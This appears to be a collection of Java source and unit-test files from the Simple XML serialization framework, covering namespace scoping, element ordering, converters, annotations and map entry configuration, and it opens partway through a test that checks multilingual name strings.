if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("LE<NAME>").text.equals("이설희")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("ﻋﺑﺪﺍﻠﺣﻟﻳﻢ ﺤﺎﻓﻅ")) return false;
if(!example.get("<NAME>").text.equals("ﺃﻡ ﻛﻟﺛﻭﻡ")) return false;
if(!example.get("<NAME>").text.equals("ኤርትራ")) return false;
if(!example.get("<NAME>").text.equals("ኢትዮጵያ")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>-Saëns")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
//if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("Γιώργος Νταλάρας")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("माधुरी दिछित")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("יהורם גאון")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("久保田 利伸")) return false;
if(!example.get("HAYASHIBARA Megumi").text.equals("林原 めぐみ")) return false;
if(!example.get("Mori Ogai").text.equals("森鷗外")) return false;
if(!example.get("Tex Texin").text.equals("テクス テクサン")) return false;
if(!example.get("Tor Age Bringsvaerd").text.equals("Tor Åge Bringsværd")) return false;
if(!example.get("Nusrat Fatah Ali Khan").text.equals("نصرت فتح علی خان")) return false;
if(!example.get("ZHANG Ziyi").text.equals("章子怡")) return false;
if(!example.get("WONG Faye").text.equals("王菲")) return false;
if(!example.get("Lech Walesa").text.equals("Lech Wałęsa")) return false;
if(!example.get("Olga Tanon").text.equals("Olga Tañón")) return false;
if(!example.get("Hsu Chi").text.equals("舒淇")) return false;
if(!example.get("Ang Lee").text.equals("李安")) return false;
if(!example.get("AHN Sung-Gi").text.equals("안성기")) return false;
if(!example.get("SHIM Eun-Ha").text.equals("심은하")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
if(!example.get("<NAME>").text.equals("Борис Гребенщиков")) return false;
if(!example.get("Archimedes").text.equals("Ἀρχιμήδης")) return false;
if(!example.get("<NAME>").text.equals("ธงไชย แม็คอินไตย์")) return false;
if(!example.get("<NAME>").text.equals("<NAME>")) return false;
return true;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NamespaceScopeTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceScopeTest extends ValidationTestCase {
private static final String EMPTY_OVERRIDE =
"<root xmlns='http://www.default.com/'>\n"+ // http://www.default.com/
"<entry xmlns=''>\n"+
"<p:book xmlns:p='http://www.example.com/book'>\n"+ // http://www.example.com/book
"<author>saurabh</author>\n"+ // empty
"<p:title>simple xml</p:title>\n"+ // http://www.example.com/book
"<p:isbn>ISB-16728-10</p:isbn>\n"+ // http://www.example.com/book
"</p:book>\n"+
"</entry>\n"+
"</root>";
private static final String DEFAULT_FIRST =
"<root xmlns='http://www.default.com/'>\n"+ // http://www.default.com/
"<p:book xmlns:p='http://www.example.com/book'>\n"+ // http://www.example.com/book
"<author>saurabh</author>\n"+ // http://www.default.com/
"<title>simple xml</title>\n"+ // http://www.default.com/
"<isbn>ISB-16728-10</isbn>\n"+ // http://www.default.com/
"</p:book>\n"+
"</root>";
public void testEmptyOverride() throws Exception {
InputNode node = NodeBuilder.read(new StringReader(EMPTY_OVERRIDE));
String reference = node.getReference();
String prefix = node.getPrefix();
assertTrue(isEmpty(prefix));
assertEquals(reference, "http://www.default.com/");
node = node.getNext("entry");
reference = node.getReference();
prefix = node.getPrefix();
assertTrue(isEmpty(prefix));
assertTrue(isEmpty(reference));
node = node.getNext("book");
reference = node.getReference();
prefix = node.getPrefix();
assertEquals(prefix, "p");
assertEquals(reference, "http://www.example.com/book");
InputNode author = node.getNext("author");
reference = author.getReference();
prefix = author.getPrefix();
assertTrue(isEmpty(prefix));
assertTrue(isEmpty(reference));
InputNode title = node.getNext("title");
reference = title.getReference();
prefix = title.getPrefix();
assertEquals(prefix, "p");
assertEquals(reference, "http://www.example.com/book");
InputNode isbn = node.getNext("isbn");
reference = isbn.getReference();
prefix = isbn.getPrefix();
assertEquals(prefix, "p");
assertEquals(reference, "http://www.example.com/book");
}
public void testDefaultFirst() throws Exception {
InputNode node = NodeBuilder.read(new StringReader(DEFAULT_FIRST));
String reference = node.getReference();
String prefix = node.getPrefix();
assertTrue(isEmpty(prefix));
assertEquals(reference, "http://www.default.com/");
node = node.getNext("book");
reference = node.getReference();
prefix = node.getPrefix();
assertEquals(prefix, "p");
assertEquals(reference, "http://www.example.com/book");
InputNode author = node.getNext("author");
reference = author.getReference();
prefix = author.getPrefix();
assertTrue(isEmpty(prefix));
assertEquals(reference, "http://www.default.com/");
InputNode title = node.getNext("title");
reference = title.getReference();
prefix = title.getPrefix();
assertTrue(isEmpty(prefix));
assertEquals(reference, "http://www.default.com/");
InputNode isbn = node.getNext("isbn");
reference = isbn.getReference();
prefix = isbn.getPrefix();
assertTrue(isEmpty(prefix));
assertEquals(reference, "http://www.default.com/");
}
private boolean isEmpty(String name) {
return name == null || name.equals("");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/convert/RegistryBinder.java<|end_filename|>
/*
* RegistryBinder.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.convert;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>RegistryBinder</code> object is used acquire converters
* using a binding between a type and its converter. All converters
* instantiated are cached internally to ensure that the overhead
* of acquiring a converter is reduced. Converters are created on
* demand to ensure they are instantiated only if required.
*
* @author <NAME>
*
* @see org.simpleframework.xml.convert.Registry
*/
class RegistryBinder {
/**
* This is used to instantiate and cache the converter objects.
*/
private final ConverterFactory factory;
/**
* This is used to cache bindings between types and converters.
*/
private final Cache<Class> cache;
/**
* Constructor for the <code>RegistryBinder</code> object. This
* is used to create bindings between classes and the converters
* that should be used to serialize and deserialize the instances.
* All converters are instantiated once and cached for reuse.
*/
public RegistryBinder() {
this.cache = new ConcurrentCache<Class>();
this.factory = new ConverterFactory();
}
/**
* This is used to acquire a <code>Converter</code> instance from
* this binder. All instances are cached to reduce the overhead
* of lookups during the serialization process. Converters are
* lazily instantiated and so are only created if demanded.
*
* @param type this is the type to find the converter for
*
* @return this returns the converter instance for the type
*/
public Converter lookup(Class type) throws Exception {
Class result = cache.fetch(type);
if(result != null) {
return create(result);
}
return null;
}
/**
* This is used to acquire a <code>Converter</code> instance from
* this binder. All instances are cached to reduce the overhead
* of lookups during the serialization process. Converters are
* lazily instantiated and so are only created if demanded.
*
* @param type this is the type to find the converter for
*
* @return this returns the converter instance for the type
*/
private Converter create(Class type) throws Exception {
return factory.getInstance(type);
}
/**
* This is used to register a binding between a type and the
* converter used to serialize and deserialize it. During the
* serialization process the converters are retrieved and
* used to convert the object properties to XML.
*
* @param type this is the object type to bind to a converter
* @param converter this is the converter class to be used
*/
public void bind(Class type, Class converter) throws Exception {
cache.cache(type, converter);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/OrderTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class OrderTest extends ValidationTestCase {
@Root
@Order(elements={"first", "second", "third", "fourth"}, attributes={"one", "two", "three"})
private static class OrderExample {
@Attribute
private int one;
@Attribute
private double two;
@Attribute
private long three;
@Element
private String first;
@Element
private String fourth;
@Element
private String second;
@Element
private String third;
public OrderExample() {
super();
}
public OrderExample(String first, String second, String third, String fourth, long one, int two, double three) {
this.first = first;
this.second = second;
this.third = third;
this.fourth = fourth;
this.three = one;
this.one = two;
this.two = three;
}
}
public void testLinkedHashMapOrder() {
Map map = new LinkedHashMap();
map.put("first", null);
map.put("second", null);
map.put("third", null);
map.put("fourth", null);
map.put("third", "third");
map.put("fourth", "fourth");
map.put("first", "first");
map.put("second", "second");
Iterator values = map.values().iterator();
assertEquals("first", values.next());
assertEquals("second", values.next());
assertEquals("third", values.next());
assertEquals("fourth", values.next());
}
public void testSerializationOrder() throws Exception {
Serializer serializer = new Persister();
OrderExample example = new OrderExample("first", "second", "third", "fourth", 1, 2, 3.0);
StringWriter writer = new StringWriter();
serializer.write(example, writer);
validate(example, serializer);
String text = writer.toString();
assertTrue(text.indexOf("first") < text.indexOf("second"));
assertTrue(text.indexOf("second") < text.indexOf("third"));
assertTrue(text.indexOf("third") < text.indexOf("fourth"));
assertTrue(text.indexOf("one") < text.indexOf("two"));
assertTrue(text.indexOf("two") < text.indexOf("three"));
example = new OrderExample("1st", "2nd", "3rd", "4th", 10, 20, 30.0);
validate(example, serializer);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/EnumTransform.java<|end_filename|>
/*
* EnumTransform.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
/**
* The <code>EnumTransform</code> represents a transform that is
* used to transform enumerations to strings and back again. This
* is used when enumerations are used in comma separated arrays.
* This may be created multiple times for different types.
*
* @author <NAME>
*/
class EnumTransform implements Transform<Enum> {
/**
* This is the specific enumeration that this transforms.
*/
private final Class type;
/**
* Constructor for the <code>EnumTransform</code> object. This
* is used to create enumerations from strings and convert them
* back again. This allows enumerations to be used in arrays.
*
* @param type this is the enumeration type to be transformed
*/
public EnumTransform(Class type) {
this.type = type;
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
*
* @return this returns an appropriate instanced to be used
*/
public Enum read(String value) throws Exception {
return Enum.valueOf(type, value);
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param value this is the value to be converted to a string
*
* @return this is the string representation of the given value
*/
public String write(Enum value) throws Exception {
return value.name();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/ElementList.java<|end_filename|>
/*
* ElementList.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>ElementList</code> annotation represents a method or
* field that is a <code>Collection</code> for storing entries. The
* collection object deserialized is typically of the same type as
* the field. However, a <code>class</code> attribute can be used to
* override the field type, however the type must be assignable.
* <pre>
*
* <list class="java.util.ArrayList">
* <entry name="one"/>
* <entry name="two"/>
* <entry name="three"/>
* </list>
*
* </pre>
* If a <code>class</code> attribute is not provided and the type or
* the field or method is abstract, a suitable match is searched for
* from the collections available from the Java collections framework.
* This annotation can also compose an inline list of XML elements.
* An inline list contains no parent or containing element.
* <pre>
*
* <entry name="one"/>
* <entry name="two"/>
* <entry name="three"/>
*
* </pre>
* The above XML is an example of the output for an inline list of
* XML elements. In such a list the annotated field or method must
* not be given a name. Instead the name is acquired from the name of
* the entry type. For example if the <code>type</code> attribute of
* this was set to an object <code>example.Entry</code> then the name
* of the entry list would be taken as the root name of the object
* as taken from the <code>Root</code> annotation for that object.
*
* @author <NAME>
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface ElementList {
/**
* This represents the name of the XML element. Annotated fields
* can optionally provide the name of the element. If no name is
* provided then the name of the annotated field or method will
* be used in its place. The name is provided if the field or
* method name is not suitable as an XML element name. Also, if
* the list is inline then this must not be specified.
*
* @return the name of the XML element this represents
*/
String name() default "";
/**
* This is used to provide a name of the XML element representing
* the entry within the list. An entry name is optional and is
* used when the name needs to be overridden. This also ensures
* that entry, regardless of type has the same root name.
*
* @return this returns the entry XML element for each value
*/
String entry() default "";
/**
* Represents the type of object the element list contains. This
* type is used to deserialize the XML elements from the list.
* The object typically represents the deserialized type, but can
* represent a subclass of the type deserialized as determined
* by the <code>class</code> attribute value for the list. If
* this is not specified then the type can be determined from the
* generic parameter of the annotated <code>Collection</code>.
*
* @return the type of the element deserialized from the XML
*/
Class type() default void.class;
/**
* This is used to determine whether the element data is written
* in a CDATA block or not. If this is set to true then the text
* is written within a CDATA block, by default the text is output
* as escaped XML. Typically this is useful when this annotation
* is applied to an array of primitives, such as strings.
*
* @return true if entries are to be wrapped in a CDATA block
*/
boolean data() default false;
/**
* Determines whether the element is required within the XML
* document. Any field marked as not required will not have its
* value set when the object is deserialized. If an object is to
* be serialized only a null attribute will not appear as XML.
*
* @return true if the element is required, false otherwise
*/
boolean required() default true;
/**
* Determines whether the element list is inlined with respect
* to the parent XML element. An inlined element list does not
* contain an enclosing element. It is simple a sequence of
* elements that appear one after another within an element.
* As such an inline element list must not have a name.
*
* @return this returns true if the element list is inline
*/
boolean inline() default false;
/**
* This is used to determine if an optional field or method can
* remain null if it does not exist. If this is false then the
* optional element is given an empty list. This is a convenience
* attribute which avoids having to check if the element is null
* before providing it with a suitable default instance.
*
* @return false if an optional element is always instantiated
*/
boolean empty() default true;
}
<|start_filename|>src/main/java/org/simpleframework/xml/convert/Convert.java<|end_filename|>
/*
* Convert.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.convert;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* The <code>Convert</code> annotation is used to specify a converter
* class to use for serialization. This annotation is used when an
* object needs to be serialized but can not be annotated or when the
* object can not conform to an existing XML structure. In order to
* specify a <code>Converter</code> object a field or method can be
* annotated like the field below.
* <pre>
*
* @Element
* @Convert(ExampleConverter.class)
* private Example example;
*
* </pre>
* Note that for the above field the <code>Element</code> annotation
* is required. If this is used with any other XML annotation such
* as the <code>ElementList</code> or <code>Text</code> annotation
* then an exception will be thrown. As well as field and methods
* this can be used to suggest a converter for a class. Take the
* class below which is annotated.
* <pre>
*
* @Root
* @Convert(DemoConverter.class)
* public class Demo {
* ...
* }
*
* </pre>
* For the above class the specified converter will be used. This is
* useful when the class is used within a <code>java.util.List</code>
* or another similar collection. Finally, in order for this to work
* it must be used with the <code>AnnotationStrategy</code> which is
* used to scan for annotations in order to delegate to converters.
*
* @author <NAME>
*
* @see org.simpleframework.xml.convert.AnnotationStrategy
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Convert {
/**
* Specifies the <code>Converter</code> implementation to be used
* to convert the annotated object. The converter specified will
* be used to convert the object to XML by intercepting the
* serialization and deserialization process as it happens. A
* converter should typically be used to handle an object of
* a specific type.
*
* @return this returns the converter that has been specified
*/
Class<? extends Converter> value();
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionMatchDepenencyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
public class UnionMatchDepenencyTest extends ValidationTestCase {
@Root
private static class Example {
@ElementUnion({
@Element(name="x", type=Integer.class),
@Element(name="y", type=Integer.class),
@Element(name="z", type=Integer.class)
})
private String value;
public String getValue(){
return value;
}
public void setValue(String value){
this.value = value;
}
}
public void testTypeMatch() throws Exception {
Persister persister = new Persister();
Example example = new Example();
example.setValue("a");
boolean exception = false;
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("Types must match for unions", exception);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/InputPosition.java<|end_filename|>
/*
* InputPosition.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>InputPosition</code> object is used to acquire the line
* number within the XML document. This allows debugging to be done
* when a problem occurs with the source document. This object can
* be converted to a string using the <code>toString</code> method.
*
* @author <NAME>
*/
class InputPosition implements Position {
/**
* This is the XML event that the position is acquired for.
*/
private EventNode source;
/**
* Constructor for the <code>InputPosition</code> object. This is
* used to create a position description if the provided event
* is not null. This will return -1 if the specified event does
* not provide any location information.
*
* @param source this is the XML event to get the position of
*/
public InputPosition(EventNode source) {
this.source = source;
}
/**
* This is the actual line number within the read XML document.
* The line number allows any problems within the source XML
* document to be debugged if it does not match the schema.
* This will return -1 if the line number cannot be determined.
*
* @return this returns the line number of an XML event
*/
public int getLine() {
return source.getLine();
}
/**
* This provides a textual description of the position the
* read cursor is at within the XML document. This allows the
* position to be embedded within the exception thrown.
*
* @return this returns a textual description of the position
*/
public String toString() {
return String.format("line %s", getLine());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/reflect/MethodCollector.java<|end_filename|>
package org.simpleframework.xml.reflect;
/**
* Objects of this class collects information from a specific method.
*
* @author <NAME>
*/
class MethodCollector {
private final int paramCount;
private final int ignoreCount;
private int currentParameter;
private final StringBuffer result;
private boolean debugInfoPresent;
public MethodCollector(int ignoreCount, int paramCount) {
this.ignoreCount = ignoreCount;
this.paramCount = paramCount;
this.result = new StringBuffer();
this.currentParameter = 0;
// if there are 0 parameters, there is no need for debug info
this.debugInfoPresent = paramCount == 0;
}
public void visitLocalVariable(String name, int index) {
if (index >= ignoreCount && index < ignoreCount + paramCount) {
if (!name.equals("arg" + currentParameter)) {
debugInfoPresent = true;
}
result.append(',');
result.append(name);
currentParameter++;
}
}
public String getResult() {
return result.length() != 0 ? result.substring(1) : "";
}
public boolean isDebugInfoPresent() {
return debugInfoPresent;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathErrorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class PathErrorTest extends TestCase{
@Root(name="header")
public static class TradeHeader {
@Element(name = "sourceSystem")
@Path("tradeIdentifier/tradeKey")
@Namespace
private String tradeKeySourceSystem = "VALUE";
@Attribute(name = "id")
@Path("book")
private String bookId = "BOOK";
@Element(name = "code")
@Path("book/identifier")
@Namespace
private String bookCode = "code";
@Element(name = "sourceSystem")
@Path("book/identifier")
@Namespace
private String bookSourceSystem = "VALUE";
@Element(name = "type")
@Path("book/identifier")
@Namespace
private String bookType = "SHORT_NAME";
@Element(name = "role")
@Path("book")
@Namespace
private String bookRole = "VALUE";
@Attribute(name = "id")
@Path("trader")
private String traderId = "TID";
@Element(name = "code")
@Path("trader/identifier")
@Namespace
private String traderCode = "tCode";
@Element(name = "sourceSystem")
@Path("trader/identifier")
@Namespace
private String traderSourceSystem = "VALUE";
@Element(name = "type")
@Path("trader/identifier")
@Namespace
private String traderType = "SHORT_NAME";
@Element(name = "role")
@Path("trader")
@Namespace
private String traderRole = "VALUE";
}
public void testRepeat() throws Exception {
Serializer serializer = new Persister();
StringWriter writer = new StringWriter();
TradeHeader header = new TradeHeader();
serializer.write(header, writer);
String data = writer.getBuffer().toString();
System.out.println(data);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DefaultWithParametersInGetterTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
public class DefaultWithParametersInGetterTest extends ValidationTestCase {
@Root
@Default(DefaultType.PROPERTY)
static class DefaultTestClass {
private boolean flag;
private int foo;
public int getFoo() {
return foo;
}
public void setFoo(int foo) {
this.foo = foo;
}
public String getWithParams(int foo) {
return "foo";
}
public boolean isFlag(){
return flag;
}
public void setFlag(boolean flag) {
this.flag = flag;
}
}
@Root
@Default(DefaultType.PROPERTY)
static class DefaultTestClassWithInvalidTransient {
private int foo;
public int getFoo() {
return foo;
}
public void setFoo(int foo) {
this.foo = foo;
}
@Transient
public String getWithParams(int foo) {
return "foo";
}
}
@Root
@Default(DefaultType.PROPERTY)
static class DefaultTestClassWithInvalidElement {
private String name;
@Element
public String getName(int foo) {
return name;
}
@Element
public void setName(String name) {
this.name = name;
}
}
public void testDefaultWithParameters() throws Exception{
Persister persister = new Persister();
DefaultTestClass type = new DefaultTestClass();
type.foo = 100;
persister.write(type, System.out);
validate(type, persister);
}
public void testDefaultWithTransientErrors() throws Exception{
Persister persister = new Persister();
DefaultTestClassWithInvalidTransient type = new DefaultTestClassWithInvalidTransient();
type.foo = 100;
boolean failure = false;
try {
persister.write(type, System.out);
}catch(Exception e) {
e.printStackTrace();
failure=true;
}
assertTrue("Annotation on a method which is not a property succeeded", failure);
}
public void testDefaultWithElementErrors() throws Exception{
Persister persister = new Persister();
DefaultTestClassWithInvalidElement type = new DefaultTestClassWithInvalidElement();
type.name = "name";
boolean failure = false;
try {
persister.write(type, System.out);
}catch(Exception e) {
e.printStackTrace();
failure=true;
}
assertTrue("Annotation on a method which is not a property succeeded", failure);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Entry.java<|end_filename|>
/*
* Entry.java July 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.strategy.Type;
/**
* The <code>Entry</code> object is used to provide configuration for
* the serialization and deserialization of a map. Values taken from
* the <code>ElementMap</code> annotation provide a means to specify
* how to read and write the map as an XML element. Key and value
* objects can be written as composite or primitive values. Primitive
* key values can be written as attributes of the resulting entry
* and value objects can be written inline if desired.
*
* @author <NAME>
*/
class Entry {
/**
* Provides the default name for entry XML elements of the map.
*/
private static final String DEFAULT_NAME = "entry";
/**
* Represents the annotation that the map object is labeled with.
*/
private ElementMap label;
/**
* Provides the point of contact in the object to the map.
*/
private Contact contact;
/**
* Provides the class XML schema used for the value objects.
*/
private Class valueType;
/**
* Provides the class XML schema used for the key objects.
*/
private Class keyType;
/**
* Specifies the name of the XML entry element used by the map.
*/
private String entry;
/**
* Specifies the name of the XML value element used by the map.
*/
private String value;
/**
* Specifies the name of the XML key node used by the map.
*/
private String key;
/**
* Determines whether the key object is written as an attribute.
*/
private boolean attribute;
/**
* Constructor for the <code>Entry</code> object. This takes the
* element map annotation that provides configuration as to how
* the map is serialized and deserialized from the XML document.
* The entry object provides a convenient means to access the XML
* schema configuration using defaults where necessary.
*
* @param contact this is the point of contact to the map object
* @param label the annotation the map method or field uses
*/
public Entry(Contact contact, ElementMap label) {
this.attribute = label.attribute();
this.entry = label.entry();
this.value = label.value();
this.key = label.key();
this.contact = contact;
this.label = label;
}
/**
* This represents the field or method that has been annotated as
* a map. This can be used to acquire information on the field or
* method. Also, as a means of reporting errors this can be used.
*
* @return this returns the contact associated with the map
*/
public Contact getContact() {
return contact;
}
/**
* Represents whether the key value is to be an attribute or an
* element. This allows the key to be embedded within the entry
* XML element allowing for a more compact representation. Only
* primitive key objects can be represented as an attribute. For
* example a <code>java.util.Date</code> or a string could be
* represented as an attribute key for the generated XML.
*
* @return true if the key is to be inlined as an attribute
*/
public boolean isAttribute() {
return attribute;
}
/**
* Represents whether the value is to be written as an inline text
* value within the element. This is only possible if the key has
* been specified as an attribute. Also, the value can only be
* inline if there is no wrapping value XML element specified.
*
* @return this returns true if the value can be written inline
*/
public boolean isInline() throws Exception {
return isAttribute();
}
/**
* This is used to get the key converter for the entry. This knows
* whether the key type is a primitive or composite object and will
* provide the appropriate converter implementation. This allows
* the root composite map converter to concern itself with only the
* details of the surrounding entry object.
*
* @param context this is the root context for the serialization
*
* @return returns the converter used for serializing the key
*/
public Converter getKey(Context context) throws Exception {
Type type = getKeyType();
if(context.isPrimitive(type)) {
return new PrimitiveKey(context, this, type);
}
return new CompositeKey(context, this, type);
}
/**
* This is used to get the value converter for the entry. This knows
* whether the value type is a primitive or composite object and will
* provide the appropriate converter implementation. This allows
* the root composite map converter to concern itself with only the
* details of the surrounding entry object.
*
* @param context this is the root context for the serialization
*
* @return returns the converter used for serializing the value
*/
public Converter getValue(Context context) throws Exception {
Type type = getValueType();
if(context.isPrimitive(type)) {
return new PrimitiveValue(context, this, type);
}
return new CompositeValue(context, this, type);
}
/**
* This is used to acquire the dependent key for the annotated
* map. This will simply return the type that the map object is
* composed to hold. This must be a serializable type, that is,
* it must be a composite or supported primitive type.
*
* @return this returns the key object type for the map object
*/
protected Type getKeyType() throws Exception {
if(keyType == null) {
keyType = label.keyType();
if(keyType == void.class) {
keyType = getDependent(0);
}
}
return new ClassType(keyType);
}
/**
* This is used to acquire the dependent value for the annotated
* map. This will simply return the type that the map object is
* composed to hold. This must be a serializable type, that is,
* it must be a composite or supported primitive type.
*
* @return this returns the value object type for the map object
*/
protected Type getValueType() throws Exception {
if(valueType == null) {
valueType = label.valueType();
if(valueType == void.class) {
valueType = getDependent(1);
}
}
return new ClassType(valueType);
}
/**
* Provides the dependent class for the map as taken from the
* specified index. This allows the entry to fall back on generic
* declarations of the map if no explicit dependent types are
* given within the element map annotation.
*
* @param index this is the index to acquire the parameter from
*
* @return this returns the generic type at the specified index
*/
private Class getDependent(int index) throws Exception {
Class[] list = contact.getDependents();
if(list.length < index) {
return Object.class;
}
if(list.length == 0) {
return Object.class;
}
return list[index];
}
/**
* This is used to provide a key XML element for each of the
* keys within the map. This essentially wraps the entity to
* be serialized such that there is an extra XML element present.
* This can be used to override the default names of primitive
* keys, however it can also be used to wrap composite keys.
*
* @return this returns the key XML element for each key
*/
public String getKey() throws Exception {
if(key == null) {
return key;
}
if(isEmpty(key)) {
key = null;
}
return key;
}
/**
* This is used to provide a value XML element for each of the
* values within the map. This essentially wraps the entity to
* be serialized such that there is an extra XML element present.
* This can be used to override the default names of primitive
* values, however it can also be used to wrap composite values.
*
* @return this returns the value XML element for each value
*/
public String getValue() throws Exception {
if(value == null) {
return value;
}
if(isEmpty(value)) {
value = null;
}
return value;
}
/**
* This is used to provide a the name of the entry XML element
* that wraps the key and value elements. If specified the entry
* value specified will be used instead of the default name of
* the element. This is used to ensure the resulting XML is
* configurable to the requirements of the generated XML.
*
* @return this returns the entry XML element for each entry
*/
public String getEntry() throws Exception {
if(entry == null) {
return entry;
}
if(isEmpty(entry)) {
entry = DEFAULT_NAME;
}
return entry;
}
/**
* This method is used to determine if a root annotation value is
* an empty value. Rather than determining if a string is empty
* be comparing it to an empty string this method allows for the
* value an empty string represents to be changed in future.
*
* @param value this is the value to determine if it is empty
*
* @return true if the string value specified is an empty value
*/
private boolean isEmpty(String value) {
return value.length() == 0;
}
/**
* This provides a textual representation of the annotated field
* or method for the map. Providing a textual representation allows
* exception messages to be reported with sufficient information.
*
* @return this returns the textual representation of the label
*/
public String toString() {
return String.format("%s on %s", label, contact);
}
}
